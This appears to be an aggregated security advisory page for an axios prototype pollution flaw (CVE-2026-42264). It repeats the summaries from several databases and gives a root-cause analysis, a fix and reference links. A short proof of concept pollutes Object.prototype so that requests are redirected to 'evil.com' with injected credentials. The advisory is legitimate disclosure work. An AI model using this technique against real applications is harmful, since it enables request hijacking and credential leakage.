Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking
cve-program · CVE-2026-42264
PublishedAxios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.
Read the publisher's advisoryeuvd · EUVD-2026-28505
PublishedAxios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.
Read the publisher's advisorynvd · CVE-2026-42264
PublishedAxios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.
Read the publisher's advisoryosv · GHSA-q8qp-cvcw-x6jj
Published## Summary Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. ## Affected Properties 1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests. 2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects. 5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests. ## Proof of Concept ```javascript const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ``` ## Impact - **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers. - **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server. - **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. - **Code execution:** Attacker-supplied functions execute during HTTP redirects. - **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling. ## Root Cause `mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values. The `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection. ## Suggested Fix Apply the existing `own()` helper to all affected properties: ```javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` Same pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2026-42264 · CVE overview and exploitation status
cve-program · CVE-2026-42264
- https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
- https://github.com/axios/axios/pull/10779
- https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa
- https://github.com/axios/axios/releases/tag/v1.15.2
euvd · EUVD-2026-28505
- https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
- https://github.com/axios/axios/pull/10779
- https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa
- https://github.com/axios/axios/releases/tag/v1.15.2
nvd · CVE-2026-42264
- https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa
- https://github.com/axios/axios/pull/10779
- https://github.com/axios/axios/releases/tag/v1.15.2
- https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
- https://access.redhat.com/errata/RHSA-2026:20889
- https://access.redhat.com/errata/RHSA-2026:20938
- https://access.redhat.com/errata/RHSA-2026:33173
- https://access.redhat.com/errata/RHSA-2026:36207
- https://access.redhat.com/errata/RHSA-2026:37287
- https://access.redhat.com/errata/RHSA-2026:37288
- https://access.redhat.com/errata/RHSA-2026:37297
- https://access.redhat.com/errata/RHSA-2026:41928
- https://access.redhat.com/errata/RHSA-2026:41951
- https://access.redhat.com/errata/RHSA-2026:42142
- https://access.redhat.com/errata/RHSA-2026:50300
- https://access.redhat.com/errata/RHSA-2026:60520
- https://access.redhat.com/errata/RHSA-2026:62260
- https://access.redhat.com/errata/RHSA-2026:66488
- https://access.redhat.com/errata/RHSA-2026:66545
- https://access.redhat.com/security/cve/CVE-2026-42264
- https://bugzilla.redhat.com/show_bug.cgi?id=2467927
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42264.json
osv · GHSA-q8qp-cvcw-x6jj
- https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
- https://nvd.nist.gov/vuln/detail/CVE-2026-42264
- https://github.com/axios/axios/pull/10779
- https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa
- https://github.com/axios/axios
- https://github.com/axios/axios/releases/tag/v1.15.2
Related changes
Linked by CVE identifierNo related changes are available here.